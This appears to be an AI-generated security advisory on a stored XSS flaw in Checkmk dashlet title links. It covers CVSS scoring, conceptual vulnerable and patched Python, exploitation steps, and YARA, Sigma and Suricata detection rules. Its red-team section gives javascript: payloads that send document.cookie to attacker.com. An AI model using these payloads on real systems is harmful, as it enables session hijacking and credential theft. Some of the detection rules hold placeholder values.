CVE-2026-3466

Executive Summary

CVE-2026-3466 is a stored cross-site scripting (XSS) vulnerability in Checkmk, an open-source IT monitoring solution. The flaw resides in the insufficient sanitization of dashboard dashlet title links. An attacker with dashboard creation privileges can inject malicious JavaScript into a dashlet title link. When a victim with higher privileges (e.g., an administrator) clicks this crafted link on a shared dashboard, the script executes in the context of the victim's session. This can lead to session hijacking, credential theft, or unauthorized actions within the Checkmk interface. The vulnerability affects Checkmk versions 2.2.0 (EOL), 2.3.0 before 2.3.0p46, 2.4.0 before 2.4.0p25, and 2.5.0 (beta) before 2.5.0. Patches are available, and the CVSS score is 5.4 (Medium).

Supply Chain & Package Security

Checkmk is a Python-based application distributed as a Debian/RPM package. The vulnerability is not in a third-party library but in the application's own input handling. The supply chain risk is low, as the fix is applied directly by the vendor. Users should verify the integrity of the updated packages using the vendor's GPG signatures.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs dashboard creation privileges.
• User Interaction (UI): Required (R) – The victim must click the crafted link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires an authenticated attacker with dashboard creation privileges and user interaction. The impact is limited to the victim's session.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the dashboard dashlet title link field. Checkmk allows users with dashboard creation privileges to add dashlets (widgets) to a dashboard. Each dashlet has a title that can be linked to a URL. The application fails to properly sanitize the href attribute of the <a> tag used for the title link.

An attacker can craft a malicious link such as javascript:alert(document.cookie) or a more sophisticated payload that steals session tokens. When the victim clicks the dashlet title, the browser executes the JavaScript in the context of the Checkmk application, bypassing the same-origin policy.

The attack flow:

1. Attacker creates a shared dashboard.
2. Attacker adds a dashlet with a malicious title link.
3. Victim (e.g., admin) navigates to the shared dashboard.
4. Victim clicks the dashlet title.
5. Malicious script executes, exfiltrating session data or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In dashlet rendering code
def render_dashlet_title(dashlet):
    title = dashlet.get('title')
    link = dashlet.get('link')
    if link:
        return f'<a href="{link}">{title}</a>'
    else:
        return f'<span>{title}</span>'

The link value is directly inserted into the href attribute without sanitization.

Patched Code (Conceptual):

import re
from urllib.parse import urlparse

def sanitize_link(link):
    # Allow only http and https schemes
    parsed = urlparse(link)
    if parsed.scheme not in ['http', 'https']:
        return None
    # Further sanitize the URL
    return link

def render_dashlet_title(dashlet):
    title = dashlet.get('title')
    link = dashlet.get('link')
    if link:
        safe_link = sanitize_link(link)
        if safe_link:
            return f'<a href="{safe_link}">{title}</a>'
        else:
            return f'<span>{title}</span>'
    else:
        return f'<span>{title}</span>'

The patched code validates the URL scheme and rejects non-HTTP(S) links.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Checkmk instance with dashboard creation privileges.
• A victim user (e.g., admin) who will view the shared dashboard.

Exploitation Steps:

1. Log in to Checkmk as a user with dashboard creation privileges.
2. Create a new dashboard and set it as "Shared".
3. Add a dashlet (e.g., "Host Status") and edit its title link.
4. Set the title link to a malicious payload:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

5. Save the dashboard.
6. Send the dashboard link to the victim (e.g., via email or internal chat).
7. When the victim clicks the dashlet title, the script executes and sends the cookie to the attacker's server.

Example Payload:

javascript:new Image().src='https://attacker.com/steal?c='+document.cookie

Blue Team

Detection:

• Monitor for dashboards created by low-privileged users that contain dashlets with non-standard title links.
• Look for HTTP requests to external domains originating from the Checkmk web interface.
• Check server logs for javascript: or data: schemes in the href attribute of dashlet links.

Hunting:

• Query the Checkmk database for dashlets with title links containing javascript: or data: schemes.
• Use the following SQL query (if applicable):

  SELECT * FROM dashlets WHERE link LIKE 'javascript:%' OR link LIKE 'data:%';
  

Mitigation:

• Apply the vendor patch immediately.
• Restrict dashboard creation privileges to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline JavaScript.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown or suspicious domains from the Checkmk server.
  • Requests containing document.cookie in the URL parameters.
• Host:
  • Checkmk log entries showing dashlet creation with javascript: or data: schemes in the link field.
  • Unusual user-agent strings in web server logs (e.g., from automated scripts).
• Application:
  • Dashboards with dashlets containing non-standard title links.
  • Shared dashboards created by users who normally do not create dashboards.

Detection Engineering

YARA Rule

rule CVE_2026_3466_Checkmk_XSS {
    meta:
        description = "Detects malicious dashlet title links in Checkmk"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-3466"
    strings:
        $xss1 = /href\s*=\s*["']\s*javascript:/i
        $xss2 = /href\s*=\s*["']\s*data:/i
        $xss3 = /href\s*=\s*["']\s*vbscript:/i
    condition:
        any of them
}

Sigma Rule

title: Checkmk Stored XSS via Dashlet Title Link
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of dashlets with malicious title links in Checkmk
author: Valters IT
date: 2026-01-01
logsource:
    product: checkmk
    service: web
detection:
    selection:
        EventID: 1000  # Example event ID for dashlet creation
        Data|contains: 
            - 'javascript:'
            - 'data:'
            - 'vbscript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: links (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-3466 Checkmk Stored XSS - Outbound Cookie Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Checkmk 2.3.0p46, 2.4.0p25, or 2.5.0 (stable) as applicable.
2. Workaround: If patching is not immediately possible, disable dashboard sharing or restrict dashboard creation to administrators only.
3. Audit: Review all existing dashboards for suspicious dashlet title links.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to block inline JavaScript and restrict script sources.
• Enforce strict input validation for all user-supplied data, especially URLs.
• Conduct regular security training for users with dashboard creation privileges.
• Monitor Checkmk logs for anomalous activity.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 23E41C4E1CD647111F06A4E3] */}